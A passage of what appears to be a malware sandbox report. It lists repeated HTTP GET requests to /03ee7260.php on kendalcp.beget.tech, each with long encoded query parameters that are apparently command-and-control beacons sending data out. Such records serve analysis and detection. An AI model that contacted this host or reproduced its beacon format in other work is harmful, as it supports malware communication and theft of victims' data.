wwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=d1nIiojI5QzYhZWNwQ2YllTOyczNmJzNwUGZ2YDNhRDMxYWNxAjIsISMmNGOlBzNmNWYwMzNmJDN0QzYxQTZiZTZ0UzYiljM0UDNhdzNmlzNiojImZWZ4IWZ4ImZyUDOwEDNmV2NiFmZ3EDOkVWM0cDMwQjIsICN2QjNlJWZjVGN2IDNwUDNiBzNjNzN0YWO1QmNhZ2M1gTZycjMmhjNiojI5YGMxMGMmdjY1UjMiFTNhFDN3cDOiZTO0YWM3YzNkZjI7xSfikjVq9UaRhFZ2Z1ViBnUGNGbWdkYUp0QMl2YtJGcChlWshnMVl2bqlkeWhEZoJ1MVVjUYFmMsdEZqZ0aJNXSplkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: kendalcp.beget.tech
Source: global traffic	HTTP traffic detected: GET /03ee7260.php?wETyxtu=dcAcSt2GxtujsnpobEIBaNFIx4sKI&flgmNv6FC5gXrN=6bIZoWtlsePX2oXBr7XOID&Z3sVB=fCg1b1cj&a00d9d0a7c2dde7f2bd3bd525e299726=4UmNzIWM1MTO2ATYwYGMzQGNxYWMhRTYxI2YhBTM1gDNhVDO4ImZkZjMwMTO5YzM1YDN4cDO&6d87c9ed05422ad98f508ceb2bec8047=QZjlTOmV2NiNmNjV2YihDZjZTZ4czN2EjZ0QWMhJGNlBDO1I2N3YGN&55cfc129788785dd4524a2115c69a313=d1nIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W&ad99d8605775097dbb5d7088bc5179a0=0VfiIiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiIxY2Y4UGM3Y2YhBzM3YmM0QDNjFDNlJmNlRTNjJWOyQTN0E2N3YWO3IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNisHL9JSOWp2TpFFWkZnVXJGcSZ0YsZ1RiRlSDxUaj1mYwJEWaxGeyUVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlEMZRUSs5EWhlnQuNGbS5mYGJ0QNhXQ5N2M5ckW1xmMWl2bqlUeW1mV1xmMWl2dTZWa4IjWo50Vh9mTwwEaOdVY5Z1ViJkSp9UaV1mY2BHWaRHbHRWa3lWS3FERNdXQE1UavpWSzZ0RkpXOHNWa3lWS6Z1RkhmUzU1ZRdlWwwWbiZlQTx0ZRdlWwp1VhpmVHNmeCNEZ2VzaJZTS5pVe50WSzlUaOdXUE9UdjR1T0d3UOJTQE1UdFpXTp9maJpWOHJWa3lWSUZFbJZTSTVWeS5mYxkjMZl2dplkeGdUZsJFbJZTSpJmdsJjWspkbJNXSpJGbWdkYzxmMTl2bqlUNShVYqp0QMl2a65UdBRlT5RzQOFTSqxkejRVTp9maJdHbtl0NwpWS2pVbipkQYNVa3lWS6ZVbiZHctlkNJNlW0ZUbUlnVyMmVKNETpdGVPd3ZE9kMJl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOikDNjFmZ1ADZjVWO5IzN3YmM3ATZkZjN0EGNwEjZ1EDMiwiI1MDMyMWZ2kTOxMTO3MWOiZGOzQDZiJDN4QmZkZmNzADOjNzYmlDM5IiOiYmZlhjYlhjYmJTN4ATM0YWZ3IWYmdTM4QWZxQzNwADNiwiI0YDN2UmYlNWZ0YjM0ATN0IGM3M2M3QjZ5UDZ2EmZzUDOlJzNyYGO2IiOikjZwEzYwY2NiVTNyIWM1EWM0czN4ImN5QjZxcjN3QmNis3W HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 